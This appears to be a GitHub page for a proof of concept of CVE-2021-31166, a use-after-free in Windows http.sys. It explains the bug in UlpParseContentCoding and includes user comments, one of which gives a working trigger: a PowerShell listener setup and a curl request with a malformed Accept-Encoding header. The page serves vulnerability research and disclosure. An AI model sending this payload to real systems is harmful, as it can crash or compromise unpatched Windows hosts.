Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.

Overview

CVE-2021-31166: HTTP Protocol Stack Remote Code Execution Vulnerability

This is a proof of concept for CVE-2021-31166 ("HTTP Protocol Stack Remote Code Execution Vulnerability"), a use-after-free dereference in http.sys patched by Microsoft in May 2021. According to this tweet the vulnerability has been found by @_mxms and @fzzyhd1.

trigger

The bug itself happens in http!UlpParseContentCoding where the function has a local LIST_ENTRY and appends item to it. When it's done, it moves it into the Request structure; but it doesn't NULL out the local list. The issue with that is that an attacker can trigger a code-path that frees every entries of the local list leaving them dangling in the Request object.

    Connection timed out

    On Linux the command python3 cve-2021-31166.py --target=192.168.0.112 hangs then fails with connection timed out error. Target is a Windows 10 20H2 64 bit machine that (I believe) wasn't updated in 3 weeks. Does that mean it isn't vulnerable?

    I think you can use curl to exploit as well. Likely local privilege escalation, since a normal user can register a listener on a high port.

    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add('http://localhost:8080/') 
    $listener.Start()
    curl.exe -H 'Accept-Encoding:  doar-e, ftw, imo, ,' http://localhost:8080/
    

    Also which tool are you using to reverse with, for the images? Very cool

    Cheers
